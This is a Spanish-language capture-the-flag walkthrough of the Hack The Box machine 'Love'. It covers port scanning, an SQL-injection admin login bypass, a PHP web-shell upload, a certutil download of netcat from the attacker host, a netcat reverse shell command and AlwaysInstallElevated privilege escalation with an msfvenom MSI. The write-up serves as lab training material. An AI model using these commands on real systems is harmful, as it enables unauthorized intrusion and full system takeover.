Hack The Box - Love
...

Love.png

Resumen
...

La máquina Love comienza con la enumeración de puertos mediante el uso de la herramienta nmap para descubrir cuales se encuentran abiertos, de esta forma se llegó a conocer que está expuesto el puerto 80. Se procedío a realizar la enumeración de la pagina web alojada en este puerto y realizando un fuzzing de directorios, se encontró un directorio admin. En adición, se busca en searchsploit alguna vulnerabilidad existente para Voting System que es la aplicación web que está expuesta, donde se encontró que por medio de inyección SQL permite auntenticarse como administrador. Estando autenticado como admin, se encuentra que entre otras vulnerabilidades que posee esta aplicación web, hay otra que brinda la posibilidad de ejecución remota de comandos (RCE) mediante la subida de archivos por método POST a /admin/candidates\_add.php. Por lo cual se procede a subir un archivo PHP que al interpretarse permita la ejecución remota de comandos (RCE), logrando así la posibilidad de enviarse una reverse shell a la máquina atacante obteniendo una shell como el usuario Phoebe, capturando la primera flag.\par En la etapa de escalada de privilegios, se enumera la máquina windows con winPEAS en búsqueda de vectores de entrada. Al terminar el análisis, se lee el reporte y se observa que AlwaysInstallElevated esta seteado a 1, de modo que se crea el payload con msfvenom, enviándolo a la máquina windows víctima, ejecutandolo de forma que estándo en escucha por el puerto que se asigno en el payload (8182), se obtiene una shell como nt authority system logrando así capturar la última flag.

Keywords: Port enumeration, file upload, SQL injection, privilege escalation, windows system.

Palabras Calve: Enumeración de puertos, subida de archivos, Inyección SQL, escalada de privilegios, sistema windows.

Realizado por Luis Ramos Moncayo, a fecha 12 de Enero de 2024

Reconocimiento
...

Nmap
...

Se procederá a realizar el reconocimiento de la máquina Love mediante la herramienta nmap para poder descubrir que puertos se encuentran abiertos y posteriormente saber que servicios se encuentras expuestos en cada uno de ellos.

> sudo nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 10.10.10.239 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 08:25 CET
Initiating SYN Stealth Scan at 08:25
Scanning 10.10.10.239 [65535 ports]
Completed SYN Stealth Scan at 08:25, 18.05s elapsed (65535 total ports)
Nmap scan report for 10.10.10.239
Host is up, received user-set (0.037s latency).
Scanned at 2024-01-12 08:25:01 CET for 18s
Not shown: 63330 closed tcp ports (reset), 2186 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
80/tcp    open  http         syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
443/tcp   open  https        syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
3306/tcp  open  mysql        syn-ack ttl 127
5000/tcp  open  upnp         syn-ack ttl 127
5040/tcp  open  unknown      syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
5986/tcp  open  wsmans       syn-ack ttl 127
7680/tcp  open  pando-pub    syn-ack ttl 127
47001/tcp open  winrm        syn-ack ttl 127
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  unknown      syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49668/tcp open  unknown      syn-ack ttl 127
49669/tcp open  unknown      syn-ack ttl 127
49670/tcp open  unknown      syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds
           Raw packets sent: 76917 (3.384MB) | Rcvd: 63349 (2.534MB)
Parámetros Nmap
-p-Escanea todos los 65535 puertos
–openSolo muestra los puertos abiertos
-sSEscaneo TCP SYN
–min-rateEnvío mínimo de paquetes
-vvvMuestra la información del escaneo mientras está ejecutándose
-nNo realiza resolución DNS
-PnNo realiza Host Discovery
-oGExporta el output en un archivo con formato grepeable

Teniendo el archivo grepeable allPorts creado anteriormente, se hace uso de una función personalizada en la .zshrc, la cual imprime en pantalla los puertos abiertos del anterior escanéo y los copia la clipboard para mayor practicidad al momento de generar la segunda consulta con nmap.

> extractPorts allPorts

[+] Extracting Information....

	[+] IP Address: 10.10.10.239
	[+] Open Ports: 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,
  49666,49667,49668,49669,49670

[+] Ports copied to clipboard

Con los puertos en la clipboard, se procede a pegarlos junto al parámetro -p, con el objetivo de enumerar los servicios que se encuentran expuestos en cada uno de ellos con su correspondiente versión.

> nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,
  49670 10.10.10.239 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 08:30 CET
Nmap scan report for 10.10.10.239
Host is up (0.038s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   SMBProgNeg: 
|_    Host '10.10.14.42' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=1/12%Time=65A0EA8F%P=x86_64-pc-linux-gnu%r
SF:(SMBProgNeg,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.42'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Parámetros Nmap
-sCConjunto de Scripts básicos de reconocimiento
-sVVerificación de las versiones de los servicios expuestos
-oNGuarda el output en un archivo

Dentro de todos los puertos observados, se priorizará los que tengan de servicio HTTP.

2_Filtro_Resultado_nmap.png

Enumeración
...

Puerto TCP 80 - HTTP
...

En el puerto 80 se encuentra expuesta la siguiente página web.

4_Pagina_Principal.png

Para tener una idea de que directorios pueden ser de interés, con nmap mediante el parámetro - -script, se utilizará un corto diccionario de los directorios más comunes permitiendo realizar fuzzing muy rápido, descubriendo que existe un directorio admin.

> sudo nmap --script http-enum -p80 10.10.10.239
Nmap scan report for 10.10.10.239
Host is up (0.041s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /admin/: Possible admin folder
|   /admin/index.php: Possible admin folder
|   /Admin/: Possible admin folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'
|  /includes/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'

Una de las diferencias que podemos destacar entre la página principal y la /admin es en el input de usuario, en la principal pide un id, mientras que en esta pide username, pero no obtenemos nada con eso.

5_Pagina_Admin.png

Por lo que en searchsploit, se procede a buscar por la web app que en este caso es Voting System, para averigurar de la existencia de posibles vulnerabilidades que se puedan aprovechar. Y tal es el caso, que existen dos vulnerabilidades principales, una que permite iniciar sesión como administrador y otra que permite la ejecución remota de comandos.

6_Exploit_Voting_System.png

Explotación
...

Inyección SQL - Inicio de Sesión como administrador
...

Conociendo que por medio de inyección SQL se puede acceder como administrador, se procede a capturar la petición de inicio de sesión del administrador usando burpsuite.

7_Capturamos_peticion_Burpsuite.png

En texto de la vulnerabilidad encontrada, se copia la siguiente linea para luego pegarla en la petición anteriormente capturada con el burpsuite.

8_Copiamos_La_Ultima_linea.png

Ya teniendo el payload pegado en la petición, se la envia dando click en Forward hasta que quede vacío la sección de peticiones del burpsuite como se observa en las figuras a continuación

9_Enviamos_Payload_Burpsuite.png

10_Hasta_Vacio_Deshabilitamos_Burp.png

Se logra con éxito iniciar como administrador de la aplicación web \textbf{Voting System}, por lo que ahora se procederá a buscar la manera de obtener una ejecución remota de comandos.

11_Admin_Page.png

Subida de Archivos - Shell as Phoebe
...

Para la segunda vulnerabilidad encontrada con searchsploit, se procede a descargar el txt, para leer como se puede emplear la subida de archivos y obtener capacidad de ejecución remota de comandos (RCE). Se va a revisar la dirección /admin/candidates_add.php a razón que es donde se puede explotar esta vulnerabilidad.

12_Segundo_Exploit_LEctura.png

En la página candidates.php, se observa que se puede agregar nuevos candidatos, donde la posición es un valor requerido pero como es validado a nivel de cliente solo con eliminar el required desde las herramientas de desarrollo se logra la posibilidad de enviar la petición.

13_Eliminamos_required.png

Se creará el archivo malicioso que se va a subir a la página de candidates.php, donde se procede a cargar el siguiente payload en el archivo que se guardará con el nombre de shell.php.

14_Creamos_shell_php.png

Dentro del formulario, en vez de subir una foto, se va a subir el archivo que se acabó de crear para que con el parámetro cmd se logre ejecutar comandos.

15_Añadimos_Shell_Formulario.png

Para dirigirse al archivo que se acabo de subir, en la herramientas de desarrollo en el tab de Network aparecerá los recursos que carga la página, por ende se procede a recargar, observando que shell.php aparece y al darle doble click se abre el archivo en una nueva tab en el navegador.

16_Shell_console.png

En la nueva tab, añadimos como query el parámetro cmd con el comando que se desee ejecutar, en este caso se prueba con un whoami.

17_Tenemos_RCE.png

Ahora para tener una consola interactiva como el usuario Phoebe, se necesita de netcat para windows. En nuestra máquina se descarga el nc64.exe.

18_nc_64_exe_descargamos.png

Para pasar el archivo, en la máquina atacante se tendrá que crear un servidor http usando python3 para que medio de certutil.exe descargarlo en la máquina víctima.

19_Creamos_http_server_py.png

En el navegador, donde podemos ejecutar comandos, se procede a utilizar certutil.exe como se muestra a continuación:

certutil -urlcache -split -f http://10.10.14.42/nc64.exe nc64.exe
Parámetros Certutil
-urlcacheIndica que se realizar una operación relacionada con el caché de URL
-splitSe debe dividir el archivo en partes más pequeñas al descargarlo
-fFuerza la descarga incluso si el archivo ya existe localmente.

19_Pasamos_nc_a_windows.png

Se confirma el envío del archivo ejecutando el comando dir.

20_confirmamos_envio_nc.png

Para poder obtener la reverse shell, primero se tiene que poner en escucha por el puerto 443 en la máquina atacante.

21_En_escucha_443_.png

Ahora se ejecuta el nc64.exe en el navegador.

.\nc64.exe -e cmd 10.10.14.42 443

22_Ejecutamos_nc_para_shelll.png

Se obtiene la shell como el usuario Phoebe, por ende se captura la primera flag.

23_shell_as_phoebe.png

24_User_flag.png

Escalada de privilegios
...

Enumeración de Máquina Windows - winPEAS
...

Para poder escalar de privilegios en una máquina Windows, se requiere enumerar el sistema. Para ello se puede hacer uso de la herramienta winPEAS, creado por carlospolop, el mismo creador de HackTricks, linPEAS entre otras buenas herramientas de enumeración de sistemas. Para poder descargarlo hay que dirigirse al repositorio en github llamado PEASS-ng.

24_Descargamos_winPEAS.png

Teniendo el archivo descargado en la máquina local, se procede a usar nuevamente certutil.exe para pasar el winPEASx64.exe a la máquina víctima.

25_Enviamos_winPEAS_maquina_victima.png

Se ejecuta el winPEAS y se guarda el resultado de la enumeración en un archivo, esto es posible usando el parámetro log que el nombre predeterminado es out.txt, en este caso el archivo log lo vamos a llamar winPEAS_Result para ser más descriptivo.

26_Ejecutamos_winPEAS.png

Cuando termina el análisis se procede a enviar el resultado a la máquina atacante para poderlo leer.

27_Copiamos_Log_A_Nuestra_Máquina.png

Ya con el reporte del winPEAS en la máquina atacante, se procede a leerlo para poder observar vías para una posible escalada de privilegios.

28_Leemos_el_resultado_winpeas.png

28_Leemos_REsultado_WinPeas.png

AlwaysInstallElevated - Shell as nt authority system
...

Dentro de toda la información que aporta este reporte, se observa una vulnerabilidad importante AlwaysInstallElevated está seteada a 1.

29_Se_observa_AlwaysInstallElevated_set_1.png

Esta herramienta brinda un link a la página HackTricks de forma que se puede leer el como explotar esta vulnerabilidad.

30_Hacktricks_how_to.png

Conociendo como funciona esta vulnerabilidad, se va a crear el payload usando la herramienta msfvenom. El payload a cargar será de windows y que brindará una reverse shell por el puerto tcp 8182. El arcivo será formato msi y le llamaremos priviesc.msi

31_Payload_Reverse_shell.png

Nuevamenta se va hacer uso de certutil.exe para pasar el archivo .msi infectado a la máquina víctima, para luego ejecutarlo y de esta manera obtener una consola interactiva como un usuario con privilegios.

32_Pasamos_msi_máquina_atacante.png

En Hacktricks, se puede leer como se tiene que ejecutar el archivo .msi que se creó con msfvenom.

33_Leemos_Ejecutar_HackTricks.png

Estando en escucha en el puerto 8182 en la máquina atacante, se ejecuta el archivo malicioso en la máquina víctima, obteniendo la shell como el usuario nt authority system, es decir que somos root en windows, capturando la última flag y completando esta máquina.

34_Ejecutamos_Shell_as_root.png

35_Root_Flag.png